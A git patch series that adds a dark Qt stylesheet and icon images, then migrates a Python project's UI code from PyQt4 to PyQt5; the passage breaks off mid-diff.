+QMenu::indicator:non-exclusive:unchecked{ + image:url(:/darkstyle/icon_checkbox_unchecked.png); + padding-left:2px; +} +QMenu::indicator:exclusive:checked{ + image:url(:/darkstyle/icon_radiobutton_checked.png); + padding-left:2px; +} +QMenu::indicator:exclusive:unchecked{ + image:url(:/darkstyle/icon_radiobutton_unchecked.png); + padding-left:2px; +} +QToolBar::top{ + background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border-bottom:3px solid qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); +} +QToolBar::bottom{ + background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border-top:3px solid qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); +} +QToolBar::left{ + background-color:qlineargradient(x1:0,y1:0,x2:1,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border-right:3px solid qlineargradient(x1:0,y1:0,x2:1,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); +} +QToolBar::right{ + background-color:qlineargradient(x1:1,y1:0,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border-left:3px solid qlineargradient(x1:1,y1:0,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); +} +QMainWindow::separator{ + width:6px; + height:5px; + padding:2px; +} +QSplitter::handle:horizontal{ + width:10px; +} +QSplitter::handle:vertical{ + height:10px; +} +QMainWindow::separator:hover,QSplitter::handle:hover{ + background:palette(highlight); +} +QDockWidget::title{ + padding:4px; + background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border:1px solid rgba(25,25,25,75); + border-bottom:2px solid rgba(25,25,25,75); +} +QDockWidget{ + titlebar-close-icon:url(:/darkstyle/icon_close.png); + titlebar-normal-icon:url(:/darkstyle/icon_restore.png); +} +QDockWidget::close-button,QDockWidget::float-button{ + subcontrol-position:top right; + subcontrol-origin:margin; + position:absolute; + top:3px; + bottom:0px; + width:20px; + height:20px; +} +QDockWidget::close-button{ + right:3px; +} +QDockWidget::float-button{ + right:25px; +} +QGroupBox{ + background-color:rgba(66,66,66,50%); + margin-top:27px; + border:1px solid rgba(25,25,25,127); + border-radius:4px; +} +QGroupBox::title{ + subcontrol-origin:margin; + subcontrol-position:left top; + padding:4px 6px; + margin-left:3px; + background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border:1px solid rgba(25,25,25,75); + border-bottom:2px solid rgb(127,127,127); + border-top-left-radius:4px; + border-top-right-radius:4px; +} +QTabWidget::pane{ + background-color:rgba(66,66,66,50%); + border-top:1px solid rgba(25,25,25,50%); +} +QTabWidget::tab-bar{ + left:3px; + top:1px; +} +QTabBar{ + background-color:transparent; + qproperty-drawBase:0; + border-bottom:1px solid rgba(25,25,25,50%); +} +QTabBar::tab{ + padding:4px 6px; + background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border:1px solid rgba(25,25,25,75); + border-top-left-radius:4px; + border-top-right-radius:4px; +} +QTabBar::tab:selected,QTabBar::tab:hover{ + background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(53,53,53,127),stop:1 rgba(66,66,66,50%)); + border-bottom-color:rgba(66,66,66,75%); +} +QTabBar::tab:selected{ + border-bottom:2px solid palette(highlight); +} +QTabBar::tab::selected:disabled{ + border-bottom:2px solid rgb(127,127,127); +} +QTabBar::tab:!selected{ + margin-top:2px; +} +QCheckBox::indicator{ + width:18px; + height:18px; +} +QCheckBox::indicator:checked,QTreeView::indicator:checked,QTableView::indicator:checked,QGroupBox::indicator:checked{ + image:url(:/darkstyle/icon_checkbox_checked.png); +} +QCheckBox::indicator:checked:pressed,QTreeView::indicator:checked:pressed,QTableView::indicator:checked:pressed,QGroupBox::indicator:checked:pressed{ + image:url(:/darkstyle/icon_checkbox_checked_pressed.png); +} +QCheckBox::indicator:checked:disabled,QTreeView::indicator:checked:disabled,QTableView::indicator:checked:disabled,QGroupBox::indicator:checked:disabled{ + image:url(:/darkstyle/icon_checkbox_checked_disabled.png); +} +QCheckBox::indicator:unchecked,QTreeView::indicator:unchecked,QTableView::indicator:unchecked,QGroupBox::indicator:unchecked{ + image:url(:/darkstyle/icon_checkbox_unchecked.png); +} +QCheckBox::indicator:unchecked:pressed,QTreeView::indicator:unchecked:pressed,QTableView::indicator:unchecked:pressed,QGroupBox::indicator:unchecked:pressed{ + image:url(:/darkstyle/icon_checkbox_unchecked_pressed.png); +} +QCheckBox::indicator:unchecked:disabled,QTreeView::indicator:unchecked:disabled,QTableView::indicator:unchecked:disabled,QGroupBox::indicator:unchecked:disabled{ + image:url(:/darkstyle/icon_checkbox_unchecked_disabled.png); +} +QCheckBox::indicator:indeterminate,QTreeView::indicator:indeterminate,QTableView::indicator:indeterminate,QGroupBox::indicator:indeterminate{ + image:url(:/darkstyle/icon_checkbox_indeterminate.png); +} +QCheckBox::indicator:indeterminate:pressed,QTreeView::indicator:indeterminate:pressed,QTableView::indicator:indeterminate:pressed,QGroupBox::indicator:indeterminate:pressed{ + image:url(:/darkstyle/icon_checkbox_indeterminate_pressed.png); +} +QCheckBox::indicator:indeterminate:disabled,QTreeView::indicator:indeterminate:disabled,QTableView::indicator:indeterminate:disabled,QGroupBox::indicator:indeterminate:disabled{ + image:url(:/darkstyle/icon_checkbox_indeterminate_disabled.png); +} +QRadioButton::indicator{ + width:18px; + height:18px; +} +QRadioButton::indicator:checked{ + image:url(:/darkstyle/icon_radiobutton_checked.png); +} +QRadioButton::indicator:checked:pressed{ + image:url(:/darkstyle/icon_radiobutton_checked_pressed.png); +} +QRadioButton::indicator:checked:disabled{ + image:url(:/darkstyle/icon_radiobutton_checked_disabled.png); +} +QRadioButton::indicator:unchecked{ + image:url(:/darkstyle/icon_radiobutton_unchecked.png); +} +QRadioButton::indicator:unchecked:pressed{ + image:url(:/darkstyle/icon_radiobutton_unchecked_pressed.png); +} +QRadioButton::indicator:unchecked:disabled{ + image:url(:/darkstyle/icon_radiobutton_unchecked_disabled.png); +} +QTreeView, QTableView{ + alternate-background-color:palette(window); + background:palette(base); +} +QTreeView QHeaderView::section, QTableView QHeaderView::section{ + background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border-style:none; + border-bottom:1px solid palette(dark); + padding-left:5px; + padding-right:5px; +} +QTreeView::item:selected:disabled, QTableView::item:selected:disabled{ + background:rgb(80,80,80); +} +QTreeView::branch{ + background-color:palette(base); +} +QTreeView::branch:has-siblings:!adjoins-item{ + border-image:url(:/darkstyle/icon_vline.png) 0; +} +QTreeView::branch:has-siblings:adjoins-item{ + border-image:url(:/darkstyle/icon_branch_more.png) 0; +} +QTreeView::branch:!has-children:!has-siblings:adjoins-item{ + border-image:url(:/darkstyle/icon_branch_end.png) 0; +} +QTreeView::branch:has-children:!has-siblings:closed, +QTreeView::branch:closed:has-children:has-siblings{ + border-image:none; + image:url(:/darkstyle/icon_branch_closed.png); +} +QTreeView::branch:open:has-children:!has-siblings, +QTreeView::branch:open:has-children:has-siblings{ + border-image:none; + image:url(:/darkstyle/icon_branch_open.png); +} +QScrollBar:vertical{ + background:palette(base); + border-top-right-radius:2px; + border-bottom-right-radius:2px; + width:16px; + margin:0px; +} +QScrollBar::handle:vertical{ + background-color:palette(alternate-base); + border-radius:2px; + min-height:20px; + margin:2px 4px 2px 4px; +} +QScrollBar::handle:vertical:hover{ + background-color:palette(highlight); +} +QScrollBar::add-line:vertical{ + background:none; + height:0px; + subcontrol-position:right; + subcontrol-origin:margin; +} +QScrollBar::sub-line:vertical{ + background:none; + height:0px; + subcontrol-position:left; + subcontrol-origin:margin; +} +QScrollBar:horizontal{ + background:palette(base); + height:16px; + margin:0px; +} +QScrollBar::handle:horizontal{ + background-color:palette(alternate-base); + border-radius:2px; + min-width:20px; + margin:4px 2px 4px 2px; +} +QScrollBar::handle:horizontal:hover{ + background-color:palette(highlight); +} +QScrollBar::add-line:horizontal{ + background:none; + width:0px; + subcontrol-position:bottom; + subcontrol-origin:margin; +} +QScrollBar::sub-line:horizontal{ + background:none; + width:0px; + subcontrol-position:top; + subcontrol-origin:margin; +} +QSlider::handle:horizontal{ + border-radius:4px; + border:1px solid rgba(25,25,25,255); + background-color:palette(alternate-base); + min-height:20px; + margin:0 -4px; +} +QSlider::handle:horizontal:hover{ + background:palette(highlight); +} +QSlider::add-page:horizontal{ + background:palette(base); +} +QSlider::sub-page:horizontal{ + background:palette(highlight); +} +QSlider::sub-page:horizontal:disabled{ + background:rgb(80,80,80); +} diff --git a/ui/darkstyle/icon_branch_closed.png b/ui/darkstyle/icon_branch_closed.png new file mode 100644 index 0000000000000000000000000000000000000000..fa785cc91e6ab6b57b9ff2ab8b17a0a5cc6319a1 GIT binary patch literal 310 zcmeAS@N?(olHy`uVBq!ia0vp^96-#&!3HGb=lz)rq*&4&eH|GXHuiJ>Nn{1`ISV`@ ziy0Ug6+xJhcmI}fprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf%@$7= z#}JL+(hHtkhYUoHeSGtUuc@N{9ZSA)X=LW)W6T`$7OcCY(GgmBKu~=SpXh(VD6dR$ zd!c*385yVyt-!VXGE|c|w9$Xh1f5+6=PY#m#nNhi z$u+a=lXqQ$_}0s7mrUfXF-+PtF<-4Q?q|64N9H*vo@%>1TlgC2eg;ohKbLh*2~7Y8 CYj9%# literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_branch_end.png b/ui/darkstyle/icon_branch_end.png new file mode 100644 index 0000000000000000000000000000000000000000..d90a04c33075a3e26db2686fd9a62b21e3d14a5d GIT binary patch literal 358 zcmeAS@N?(olHy`uVBq!ia0vp^fk14a~60+ z7BevL9RguSQ4OyKprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf%@a=- z$B>G+w-*-jGC4}PJbc|`Bw)c)Iw9dDqa*9}FPlCURi+*45cRKl6zBKH`nE)}=kI;@ zm%l&Q`!AaDn5ackqp}#8#DR|fmz$Jo4sbmyd@g9e{C(;J<}ic);v@BEAFsRo`+=!# zcng03+hQY$sRvi^xTP9sH3v%eoJt5GQAqXJH|9Hg)*H{(6P*q8FN3G6pUXO@geCxm C^?Y^! literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_branch_more.png b/ui/darkstyle/icon_branch_more.png new file mode 100644 index 0000000000000000000000000000000000000000..bdbe4ed92af5f6fcdd185c752072d727bc6d350d GIT binary patch literal 207 zcmeAS@N?(olHy`uVBq!ia0vp^5mw7EWWf>Pm0S#vGboFyt=akR{0R8(u^#A|> literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_branch_open.png b/ui/darkstyle/icon_branch_open.png new file mode 100644 index 0000000000000000000000000000000000000000..9dd05d6460df3535a0c8833eef4b617d8cb2e93c GIT binary patch literal 313 zcmeAS@N?(olHy`uVBq!ia0vp^JV4CB!3HGHK9Tzfq*&4&eH|GXHuiJ>Nn{1`ISV`@ ziy0Ug6+xJhcmI}fprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf&2~>0 z#}JL+)N`I(ha3c2AKrT@%koiS9ZSA);mt`OnVPc23!l0<`iQX06drmR@HT#uhmg2@ zNci4Yc~2|j?w8&*kE?j(`2L;6x!zx0+~+J7F5Yr2wM((byZokP61Lr_XX8RS-DxvGt3% zkMqH#PZ#?`_iXL#d?+iHSnyRL<=Lon*Ag*cla~T(pPQ6*e2~U<-GP*_hH3&`b%ZkbC+1l*n ZZ6=uTeQ?shqy}^XgQu&X%Q~loCIC{JK~n$# literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_checkbox_checked_disabled.png b/ui/darkstyle/icon_checkbox_checked_disabled.png new file mode 100644 index 0000000000000000000000000000000000000000..441d0d9148a8badd5620904b2d18defce32fd7ca GIT binary patch literal 373 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjjKx9jP7LeL$-D$|SkfJR9T^xl z_H+M9WCij$3p^r=85sBugD~Uq{1qucL5ULAh?3y^w370~qEv>0#LT=By}Z;C1rt33 zJ6J37bZ;R4rebAc+WAn zhTjOpTkc$S@?y&418U;yWUqK{0tt!pUiVfIW;feeaM3_vPA@ai#*7{8Fp~Yxe0TO| zJEVXv_z|J=Q%zx?Sx(j;^+RVT9y(ii>I+LjgTe~DWM4f^5Bfb literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_checkbox_checked_pressed.png b/ui/darkstyle/icon_checkbox_checked_pressed.png new file mode 100644 index 0000000000000000000000000000000000000000..7b508c8d156a3878a701209c7674dc5584fc90d7 GIT binary patch literal 373 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjjKx9jP7LeL$-D$|SkfJR9T^xl z_H+M9WCij$3p^r=85sBugD~Uq{1qucL5ULAh?3y^w370~qEv>0#LT=By}Z;C1rt33 zJ@&NsXv6nQvE@b(uy_5N& zAZ%5Cpw;;A{78Sz)a<-x7hmR?v8@%?yECbxm2I|E`wIttGgH2c1;>_FrUyS>;2g=m z*{J$vGLXq`oF$Xq9{)j)FQ@2X$%?0#LT=By}Z;C1rt33 zJ0#LT=By}Z;C1rt33 zJpVX7N4|TXV6yiU3DYu{zQAO6G=?WX`=#=i4;_Bx$?Q@(zG9RUcI0#LT=By}Z;C1rt33 zJBmQ; a&*+s(r7SrAZQf#_RScf4elF{r5}E*y3QTeU literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_checkbox_unchecked_pressed.png b/ui/darkstyle/icon_checkbox_unchecked_pressed.png new file mode 100644 index 0000000000000000000000000000000000000000..c24130c552f7f9a31e3891082af80749a11ef16c GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjjKx9jP7LeL$-D$|SkfJR9T^xl z_H+M9WCij$3p^r=85sBugD~Uq{1qucL5ULAh?3y^w370~qEv>0#LT=By}Z;C1rt33 zJ`@(t+}9+VxKD(vOcw bpV8Yib^U@4%V)Yks~9|8{an^LB{Ts5&cjUT literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_close.png b/ui/darkstyle/icon_close.png new file mode 100644 index 0000000000000000000000000000000000000000..ece7c28b9cf14f2a10fb7b58fe87e19f19f3a25d GIT binary patch literal 422 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjEa{HEjtmSN`?>!lvI6;x#X;^) z4C~IxyaaL-l0AZa85pY67#JE_7#My5g&JNkFq9fFFuY1&V6d9Oz#v{QXIG#NP=YPV z+ua371Hn({-St3 z1W2#{3nc6{#qKB_n*?NeE3Z~P%Cuv3L8McU)F$19HwtRl0?!u2JoL%=6YxlQ5>NV~ zE^fA5fr}=SGH3Z@&b#;`Fyz9v4brTKxfvMN7xoq(RcyNlv{JRiHKHUXu_Vv=^7b_7#drd7+V>eX&V?=85q3$W9f;aAvZrIGp!Q0h8YVRzXCOAfNUr( zOSei&EKb!eEy`p_%gjl&(%087$t}>&O-#>B&eruwD+sId%}=t++^!GQ!{F)a=d#Wz Gp$PyJ(T2tV literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_radiobutton_checked.png b/ui/darkstyle/icon_radiobutton_checked.png new file mode 100644 index 0000000000000000000000000000000000000000..f747f4989cfc6113a43f98a53e4aa337bbb00282 GIT binary patch literal 370 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM0wlfaz7{huFj{)LIEGjV?mc+cQ@K!v;llkV z2Em<+TstBfI=U8V#M!8VP!7zLc3X5n1DWZi)qVqVs1`9uK$}qg7^3dx$HoHU|2GE My85}Sb4q9e03n;5kpKVy literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_radiobutton_checked_disabled.png b/ui/darkstyle/icon_radiobutton_checked_disabled.png new file mode 100644 index 0000000000000000000000000000000000000000..fa554cbb3ba874b49b41b95927db8f3b92fbf1fe GIT binary patch literal 617 zcmV-v0+#)WP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0oqAKK~zXf-IYN~TtO5?TL-!l#VkT33lLFJ z(iogLP)zm_5QGE*8T1a6xQ15e5?p{1)Fo(QCdoO?t^Td4?oS4pc;P_*`)*ZzUe&Me zylnM)y;<0X6Zj6lg1^7QTbND!-^9Q-a0kCzxP{FOYZu{Z_>#eL0lP20NFcZ5Grl-ZgMXZ5%K8#=EATe{ctL({E>_(U#MT@(!^nCNt32Uq* zZhk-BajZs|o^6YBvGi=q=wvlc6F0vQ?>bf^Og|ut!~XHRY}_R76F2WZ>OID4g!$hW zC@q?grRQlGovcPbar3X@UBzmI>D^*+FP7eFyh$u4ZvK6|qgahFy|^rT)TUzVAH=Wm zAu)3v)64kX*o`plpBI;b;ZapQufQqXhdvD7T=D!49BZrp{?HVK&4k?CrP!?^`x<^` z>{{%)2zV=&MZCy{?RqY2;G37pKczHYguJfHBI2I-h58ZMM)9<`p{3{Y5!$coBElQs z#Z@L4hdrO%mT_XBe=b{a4A<}&uHXo|P~XrOqE6=z20Wq*i~*uf00000NkvXXu0mjf DBpw!u literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_radiobutton_checked_pressed.png b/ui/darkstyle/icon_radiobutton_checked_pressed.png new file mode 100644 index 0000000000000000000000000000000000000000..7b4bb1106ab17be557f94cd40956484fe7909e09 GIT binary patch literal 616 zcmV-u0+;=XP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0oh4JK~zXf-IYyBTtOH`TL-!l#VkT33lK4) zM3hW2P)zm_Xb30>?mGohl5PKaG>A)ZdEW&HKnjWF$>7ngy-QB^!I!3o@jV;H=-;`tLe)>c3N&=iHWgxuVP*sUV_7Jg;y zyV!LR@K!8~c##d-^{=dfZ(b(fOKG$Sd0m%9#69r~^&_&4;%RY1OV4E&+OO*(!mHrL zRVEmPJs;neQDUHfE*o$J*YFsw;1JfKzM-!~oz7p{3_bQImI8wS0000KF1Pf3GwFP5xd6L7An~<5K?75c)&OV+~Pik3(QpMq4JEg6dLbn)58rqb$&R(++nux#}|&W&IEI%b&k?c?cCI>g@qUQ&eZv3-%cDM_^JxOy#N3J07*qo IM6N<$f~R4H-v9sr literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_radiobutton_unchecked_disabled.png b/ui/darkstyle/icon_radiobutton_unchecked_disabled.png new file mode 100644 index 0000000000000000000000000000000000000000..87d18463ca3de25b42f8f279a70b28f5cd3d0d25 GIT binary patch literal 538 zcmV+#0_FXQP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0gFjQK~zXf-IZNRLQxcj)dwAkQiBL-3W1Us zz4V||gDD7la0W^ZMWO*HQB9$;m-<$$%^|wi>j`|Q1s}-TKj*T~kG21;$z;-kW4MI} zcsKfe14qzudY&jeglG7u;0gLJs}{)(xOTCa!wA~YG#wbj9Yo$0G~A|KBt`QVII&$Q z;&ssCukf{qL&YLNV~OT_wkt($7h;i~?e8L>4UL(v{qiDFqmilh5t_D>Fm+m#Ft?Q@ z>NKv{lcDV-OdUl9N4By>?WudrY$ajpY%AEdl`U#_++%4g2~!tH!JqTnP}FK4)njEV z33KZU#E3e!vPJE#dn{}vVd`yBaBM4E)SkP?)K(Iv9xerS)atf3mTKVMJqEUuFf~6t zTuR73s??mhR--Q7M*@8(>DqT~SBl(ycysN6?P8IjS1}gRLsmL2#Xw&k%`Y7)7fE`q zV-cY}(GArl(inwKi#9Z7E-s+@xek%s13g^PpbX7?{aDIGq5fQkFoPwm%mSt`fL~wC czo1&}6PiV{{Bs1%hyVZp07*qoM6N<$g2%GpegFUf literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_radiobutton_unchecked_pressed.png b/ui/darkstyle/icon_radiobutton_unchecked_pressed.png new file mode 100644 index 0000000000000000000000000000000000000000..8f4d548b081590f7bd126d98aa00743c0170149e GIT binary patch literal 537 zcmV+!0_OdRP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0g6dPK~zXf-IZNRLQxcj)dwAkQiBL-3W1Us zz4V||gDD7_gJLsLq5&vTO`)=v`c|yXA-dP=33{jnAIRE2=d#a_wg0X8eBOd%xPg0k zGx|M)BWO82PZS=)6TDaO2z{4Ti{u7eyI3q>1Z`-V4vgUzBJT_WQte7PUL>v9gtfsSBjw_xWupYPFB*v9^_j z`RfbBh&r~iMeVM8ENvxW>TOYQY%5#Tp1a4yRuZNjE(LYe>bAF*YT(X22DXzhH9tLE zO2|H{)SS6iqb}Y@0(~dx+IMYNirjs8b?t%eVv(R%F&5E7Ryr=lKwlosFC8iuNqVkh z5urWN4b>&m7==!YHZ*1~E};6k4w2jgJzUYC49$G=Sjt49{#=GIg%zyL5+*Q!A79MB bpjzz%)7KnVvMmjB00000NkvXXu0mjfZmZ&p literal 0 HcmV?d00001 diff --git a/ui/darkstyle/icon_restore.png b/ui/darkstyle/icon_restore.png new file mode 100644 index 0000000000000000000000000000000000000000..be29650401564c0bb4d3f1527dbcd1931ca46708 GIT binary patch literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjEa{HEjtmSN`?>!lvI6;x#X;^) z4C~IxyaaL-l0AZa85pY67#JE_7#My5g&JNkFq9fFFuY1&V6d9Oz#v{QXIG#NP=YPV z+ua371Hn({-St3PI1gGYY|NsBjPvS{Q zaWS0SdCe|C@p|f!UsL|s9e64f^Qfi9tyrF?mb+k?Qc>{P2Ok+XHcaqm+t1HtBmdwF zv=^7b_7#drd z7+V>cXd4(<85nFjsqqg*LvDUbW?Cg~4Tq;pZ~|)30NGGnmTr}lSe&X`T9nC?hDGs&BmALjAB#;Q<@k=#Mf-#lAw(+U3%24DaN;GYAZ0t^6TvPy9R S9_vZ~0000a~60+ z7BevL9RguSQ4OyKprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf&00?v z$B>G+w-*))HW)ClI944Blonm`vcbh=9fz^{wLg1yC7;{5)bQBXUH0d$=ChwJWOrrh u;t&zkPzrEa(BUB1sKi7cf&ZNr{p{Q~c4mFyk(~r|ID@CFpUXO@geCxAGgaIG literal 0 HcmV?d00001 From 32a5c6697d079660071470db416545a7428a5f3f Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 21 Sep 2018 07:31:39 -0500 Subject: [PATCH 006/450] Migrate to PyQt5 --- app/auxiliary.py | 7 +- app/hostmodels.py | 16 +- app/processmodels.py | 2 +- app/scriptmodels.py | 2 +- app/servicemodels.py | 21 +- app/settings.py | 2 +- controller/controller.py | 27 +- db/database.py | 2 +- deps/ubuntu.sh | 2 +- legion.py | 168 +++-- ui/darkstyle/darkstyle.qss | 357 ---------- ui/darkstyle/icon_branch_closed.png | Bin 310 -> 0 bytes ui/darkstyle/icon_branch_end.png | Bin 358 -> 0 bytes ui/darkstyle/icon_branch_more.png | Bin 207 -> 0 bytes ui/darkstyle/icon_branch_open.png | Bin 313 -> 0 bytes ui/darkstyle/icon_checkbox_checked.png | Bin 176 -> 0 bytes .../icon_checkbox_checked_disabled.png | Bin 373 -> 0 bytes .../icon_checkbox_checked_pressed.png | Bin 373 -> 0 bytes ui/darkstyle/icon_checkbox_indeterminate.png | Bin 121 -> 0 bytes .../icon_checkbox_indeterminate_disabled.png | Bin 286 -> 0 bytes .../icon_checkbox_indeterminate_pressed.png | Bin 286 -> 0 bytes ui/darkstyle/icon_checkbox_unchecked.png | Bin 119 -> 0 bytes .../icon_checkbox_unchecked_disabled.png | Bin 238 -> 0 bytes .../icon_checkbox_unchecked_pressed.png | Bin 238 -> 0 bytes ui/darkstyle/icon_close.png | Bin 422 -> 0 bytes ui/darkstyle/icon_radiobutton_checked.png | Bin 370 -> 0 bytes .../icon_radiobutton_checked_disabled.png | Bin 617 -> 0 bytes .../icon_radiobutton_checked_pressed.png | Bin 616 -> 0 bytes ui/darkstyle/icon_radiobutton_unchecked.png | Bin 310 -> 0 bytes .../icon_radiobutton_unchecked_disabled.png | Bin 538 -> 0 bytes .../icon_radiobutton_unchecked_pressed.png | Bin 537 -> 0 bytes ui/darkstyle/icon_restore.png | Bin 404 -> 0 bytes ui/darkstyle/icon_undock.png | Bin 424 -> 0 bytes ui/darkstyle/icon_vline.png | Bin 303 -> 0 bytes ui/dialogs.py | 246 +++---- ui/gui.py | 641 +++++++++--------- ui/nosplitters/gui.py | 106 +-- ui/settingsdialogs.py | 360 +++++----- ui/view.py | 121 ++-- 39 files changed, 883 insertions(+), 1197 deletions(-) delete mode 100644 ui/darkstyle/darkstyle.qss delete mode 100644 ui/darkstyle/icon_branch_closed.png delete mode 100644 ui/darkstyle/icon_branch_end.png delete mode 100644 ui/darkstyle/icon_branch_more.png delete mode 100644 ui/darkstyle/icon_branch_open.png delete mode 100644 ui/darkstyle/icon_checkbox_checked.png delete mode 100644 ui/darkstyle/icon_checkbox_checked_disabled.png delete mode 100644 ui/darkstyle/icon_checkbox_checked_pressed.png delete mode 100644 ui/darkstyle/icon_checkbox_indeterminate.png delete mode 100644 ui/darkstyle/icon_checkbox_indeterminate_disabled.png delete mode 100644 ui/darkstyle/icon_checkbox_indeterminate_pressed.png delete mode 100644 ui/darkstyle/icon_checkbox_unchecked.png delete mode 100644 ui/darkstyle/icon_checkbox_unchecked_disabled.png delete mode 100644 ui/darkstyle/icon_checkbox_unchecked_pressed.png delete mode 100644 ui/darkstyle/icon_close.png delete mode 100644 ui/darkstyle/icon_radiobutton_checked.png delete mode 100644 ui/darkstyle/icon_radiobutton_checked_disabled.png delete mode 100644 ui/darkstyle/icon_radiobutton_checked_pressed.png delete mode 100644 ui/darkstyle/icon_radiobutton_unchecked.png delete mode 100644 ui/darkstyle/icon_radiobutton_unchecked_disabled.png delete mode 100644 ui/darkstyle/icon_radiobutton_unchecked_pressed.png delete mode 100644 ui/darkstyle/icon_restore.png delete mode 100644 ui/darkstyle/icon_undock.png delete mode 100644 ui/darkstyle/icon_vline.png diff --git a/app/auxiliary.py b/app/auxiliary.py index e0066d41..49743a63 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -12,8 +12,9 @@ ''' import os, sys, urllib, socket, time, datetime, locale, webbrowser, re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex -from PyQt4 import QtGui, QtCore -from PyQt4.QtCore import * # for QProcess +from PyQt5 import QtCore, QtWidgets +from PyQt5.QtCore import * # for QProcess +from PyQt5.QtWidgets import * import errno # temporary for isHttpd import subprocess # for screenshots with cutycapt import string # for input validation @@ -105,7 +106,7 @@ def setTableProperties(table, headersLen, hiddenColumnIndexes = []): table.verticalHeader().setVisible(False) # hide the row headers table.setShowGrid(False) # hide the table grid - table.setSelectionBehavior(QtGui.QTableView.SelectRows) # select entire row instead of single cell + table.setSelectionBehavior(QtWidgets.QTableView.SelectRows) # select entire row instead of single cell table.setSortingEnabled(True) # enable column sorting table.horizontalHeader().setStretchLastSection(True) # header behaviour table.horizontalHeader().setSortIndicatorShown(False) # hide sort arrow from column header diff --git a/app/hostmodels.py b/app/hostmodels.py index ff855b2c..7cb2e481 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -12,16 +12,24 @@ ''' import re -from PyQt4 import QtGui, QtCore -from PyQt4.QtGui import * # for QFont +from PyQt5 import QtWidgets, QtGui, QtCore +from PyQt5.QtCore import pyqtSignal, QObject from app.auxiliary import * # for bubble sort +class Communicate(QObject): + data_changed = pyqtSignal(str) + class HostsTableModel(QtCore.QAbstractTableModel): def __init__(self, hosts = [[]], headers = [], parent = None): QtCore.QAbstractTableModel.__init__(self, parent) self.__headers = headers self.__hosts = hosts + self.c = Communicate() + + @QtCore.pyqtSlot() + def emit(self, signal): + self.c.data_changed.emit(signal) def setHosts(self, hosts): self.__hosts = hosts @@ -116,7 +124,7 @@ def flags(self, index): # method tha def sort(self, Ncol, order): # sort function called when the user clicks on a header - self.emit(SIGNAL("layoutAboutToBeChanged()")) + self.layoutAboutToBeChanged.emit() array = [] if Ncol == 0 or Ncol == 3: # if sorting by IP address (and by default) @@ -156,7 +164,7 @@ def sort(self, Ncol, order): # sort funct if order == Qt.AscendingOrder: # reverse if needed self.__hosts.reverse() - self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + self.layoutChanged.emit() # update the UI (built-in signal) ### getter functions ### diff --git a/app/processmodels.py b/app/processmodels.py index 6a04f4c9..f7a94ad4 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -12,7 +12,7 @@ ''' import re -from PyQt4 import QtGui, QtCore +from PyQt5 import QtWidgets, QtGui, QtCore from app.auxiliary import * # for bubble sort class ProcessesTableModel(QtCore.QAbstractTableModel): diff --git a/app/scriptmodels.py b/app/scriptmodels.py index b65ab924..5056125a 100644 --- a/app/scriptmodels.py +++ 